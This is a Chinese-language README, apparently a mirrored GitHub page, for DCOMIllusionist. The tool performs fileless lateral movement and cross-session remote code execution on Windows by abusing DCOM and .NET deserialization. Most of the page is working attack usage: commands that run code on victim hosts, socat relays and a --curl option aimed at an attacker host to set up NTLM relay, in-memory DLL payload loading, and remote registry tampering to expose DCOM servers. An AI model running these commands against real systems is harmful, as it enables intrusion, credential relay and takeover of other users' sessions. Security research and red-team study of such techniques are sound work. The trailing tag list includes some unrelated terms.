synacktiv/DCOMIllusionist

GitHub: synacktiv/DCOMIllusionist

利用 DCOM 与 .NET 反序列化实现 Windows 无文件横向移动和跨会话远程代码执行的攻击工具。

Stars: 174 | Forks: 17

🎩✨🪄

DCOMIllusionist

Windows 无文件横向移动技术。

介绍  •  构建  •  用法  •  技术细节  •  致谢


# 介绍 如果你拥有管理员权限,此工具可以在 Windows 机器上实现远程代码执行。它利用了 DCOM 和 .NET DCOM 服务器的行为特性,即自动反序列化传入的对象。这使得在不写入磁盘的情况下执行任意命令或加载 DLL 成为可能。 该方法最初由 James Forshaw 发现作为一种权限提升技术,后经过改进,通过远程修改特定的注册表项来实现横向移动。此外,它还支持通过 DCOM 进行跨会话利用,允许在另一个用户会话中,以该会话的安全上下文执行任意命令。 它适用于工作站和服务器,但要使此技术生效,目标机器和攻击者控制的机器之间必须具有网络访问权限。 更多细节请见[此部分](#technical-details)。 # 构建 已有编译好的发布版本可用,或者你也可以手动构建: ``` PS F:\> git clone https://github.com/Hug0Vincent/DCOMIllusionist.git PS F:\> cd DCOMIllusionist PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64 ``` # 用法 ``` PS F:\> runas /u:LAB\adm /netonly powershell.exe PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid ``` ``` Usage: DCOMIllusionist.exe [options] -t (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions) Options: -h, --help Show this help message and exit -d, --debug Enable debug logging -t, --target Set the target hostname or IP -p, --port Set the target port (Default: 49765) --clsid Specify a CLSID (no curly braces) --appid Specify an AppID (no curly braces) -s, --session Provide a session identifier -l --listen Specify listener FQDN or IP -g, --gadget Specify gadget to use --attacker-sid Set the attacker's SID --no-port-check Disable port availability check --restore-backup Restore registry from backup --local-registry-only Only performs local registry modifications --remote-registry-only Only performs remote registry modifications --skip-local-registry-setup Skip local registry setup --skip-remote-registry-setup Skip remote registry setup --hku Perform remote registry operations on HKCU instead of HKLM --fake-clsid Create fake CLSID with fake AppId Attacks: --ps-exec Execute a command remotely using PSExec --exec Execute a command remotely --exec-args Args to pass to the command --curl Use curl-style web request payload --file-write-src File to write --file-write-dst Destination path --load-dll Load a DLL into the remote process --dll-class Class in the DLL to execute (including namespace) --dll-method Static Method in the class to execute (Default: Run) --yso-b64 Execute base64-encoded ysoserial payload --test-network Check network access from target to attacker machine --list-sessions List interactive sessions on the target Examples: DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami" DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2 CLSID: BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (Default) 2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider 37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead AppId: 577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (Default) 63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator 06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings (Interactive user) D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (Interactive user) ``` ## `--session` 如前所述,可以指定一个会话,以便在另一个用户的会话中执行任意命令。 ## `--list-sessions` 使用 `WTSEnumerateSessions` 列出目标上远程交互式和活动的会话。 ## `--listen` 如果目标机器无法直接访问攻击者的主机,漏洞利用将会失败。但是,可以指定一台目标机器能够连接的中间机器。然后使用 socat 等工具,将流量从这台中介机器中继到攻击者的主机。 ![listen](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/0a353614db150639.svg) - 在被攻陷的机器上: ``` $ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135 $ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337 ``` - 在攻击者机器上: ``` PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami ``` ## `--attacker-sid` 当从 `runas /netonly` shell 运行漏洞利用程序时,无法自动检索关联的身份。因此,必须使用 `--attacker-sid` 选项显式提供它,攻击才能成功。 ## `--exec` `--exec` 可以与 `--exec-args` 结合使用,以在目标上执行任意二进制文件: ``` PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc" ``` ## `--curl` 在跨会话利用场景中,Curl 非常有用。如果你在机器上拥有管理员权限,并且例如域管理员在会话 3 中处于活动状态,则可以代表该用户,纯粹通过 .NET 发起经过身份验证的 HTTP 请求。通过将此请求引导至运行 `ntlmrelayx.py` 的攻击者控制机器,可以执行传统的 NTLM 中继攻击以攻陷该用户。 ``` PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local ``` ## `--load-dll` 完全可以仅在内存中加载任意 DLL,而无需触及磁盘。例如: ``` // Build: csc /target:library /optimize /out:Payload.dll Payload.cs using System.Diagnostics; public class Payload { public static void Run() { Process.Start("calc"); } } ``` ``` PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload ``` 默认情况下,会执行指定类的静态 `Run` 方法(无参数)。可以使用 `--dll-method` 参数自定义此行为。 ## `--yso-b64` 对于高级的 gadget 生成,可以使用 Ysoserial.net。生成的 Base64 编码 payload 可以直接提供,它将被封装在 RolePrincipal 实例中,并在目标机器上进行反序列化。 ## `--test-network` 执行与常规漏洞利用相同的操作,但仅发送一个虚拟 payload,以确认目标可以连接到攻击者的机器。 ## `--hku` 通过使用 `HKEY_USERS` 而不是 `HKLM` 注册表根键,低权限用户也可以进行完整的漏洞利用。如果用户是 `Performance Log Users` 或 `Distributed COM Users` 组的成员,则可以使用此方法。在这种情况下,必须提供 `--attacker-sid` 才能访问正确的注册表路径。还必须提供一个可写入的 `CLSID`(参见 [`--fake-clsid`](#--fake-clsid)): ``` PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a ``` ## `--fake-clsid` 创建一个伪造的 `CLSID` 和 `AppId`。会在 `AppId` 上设置权限,使得当前用户或 `--attacker-sid` 可以随后启动和激活 DCOM 服务器。当以低权限用户在 HKU 上执行漏洞利用时,这非常有用。 ``` PS F:\> ./DCOMIllusionist.exe --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku [+] Creating fake CLSID [+] New AppId: {900f081a-a69d-4a92-9f33-72c141feee9a} [+] New CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24} ``` # 技术细节 当用 .NET 编写的 DCOM 服务器接收到对象时,它会查询 `IManagedObject` DCOM 接口。如果该接口存在,服务器将调用 `GetSerializedBuffer` 方法。客户端响应对象的序列化版本,然后服务器将其反序列化,从而导致任意代码执行。要使此操作成功,受害机器必须对攻击者的主机具有直接的网络访问权限(参见 [`--listen`](#--listen))。 ![技术细节](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/039a9bc8de150645.svg) 通过伪造任意的 DCOM OBJREF,可以将目标机器重定向到任何远程系统。例如,可以使用 socat 将端口 135(以及另一个任意端口)上的流量转发到实际由攻击者控制的机器。在 James Forshaw 的[概念验证](https://project-zero.issues.chromium.org/issues/42451808)(后来成为“Potato”系列漏洞利用的基础)中,他使用了 `PointerMoniker` 的 GUID 来在 OBJREF 中封送任意对象。这种方法成功触发了身份验证,但在随后的步骤中失败了。通过使用标准封送器的 GUID,就可以创建并发送功能齐全的任意 OBJREF。 但是,在测试的 Windows Server 版本上,默认情况下不会暴露任何 .NET DCOM 服务器。为了启用远程交互,可以远程修改 Windows 注册表,将自定义的 AppID 与 .NET CLSID 关联,使其可以通过 DCOM 访问。通过仔细选择 AppID,如果目标机器上存在交互式会话,还可以通过会话 moniker 启用跨会话利用。这也是由 James Forshaw 在[这里](https://www.tiraniddo.dev/2021/04/standard-activating-yourself-to.html)和[这里](https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html)发现并详细说明的。 要使漏洞利用成功,目标服务器必须从攻击者控制的机器中检索序列化的对象数据(gadget)。这要求服务器向攻击者的主机进行身份验证。 如果 AppID 未配置为在交互式用户的身份下运行,则身份验证尝试将源自*匿名*。为了允许这种情况,必须通过修改攻击者机器的默认 DCOM 访问权限,将其配置为接受匿名的 DCOM 身份验证。 当 AppID 与交互式用户关联时,身份验证将使用指定会话(通过 `--session`)或默认会话 0 中用户的身份来执行。在这种情况下,必须将攻击者的机器加入域才能接受用户的身份验证。这就是为什么临时将 *Everyone* 组添加到默认 DCOM 访问权限中以确保身份验证成功的原因。 需要注意的是,仅修改了默认访问权限,启动和激活权限保持不变。操作完成后,所有更改都将还原。如果出现问题,则会创建原始设置的备份并可以还原。 # 致谢 - [@tiraniddo](https://x.com/tiraniddo),感谢他的[原创研究](https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html)、[此项研究](https://googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html)以及 [oleviewdotnet](https://github.com/tyranid/oleviewdotnet),他的许多代码已被公开的 C# 进攻性工具重用,包括本工具。 - [@nt0x4](https://twitter.com/nt0x4),感谢他在 `TextFormattingRunProperties` gadget 上的工作,他展示了如何在内存中加载任意 DLL。这部分在 `--curl` 和 `--file-write` 攻击中得到了重用。 - [@cube0x0](https://twitter.com/cube0x0),感谢其编写的 [KrbRelay](https://github.com/cube0x0/KrbRelay) - [@pwntester](https://x.com/pwntester),感谢其编写的 [Ysoserial.net](https://github.com/pwntester/ysoserial.net/) - IBM X-Force Red 的 [Dylan Tran](https://x.com/d_tranman) 和 [Jimmy Bayne](https://x.com/bohops),从 [ForsHops](https://github.com/xforcered/ForsHops) 中获得了一些灵感。
标签:DCOM, Modbus, PE 加载器, 代理, 多人体追踪, 无文件攻击, 横向移动, 编程规范, 网络信息收集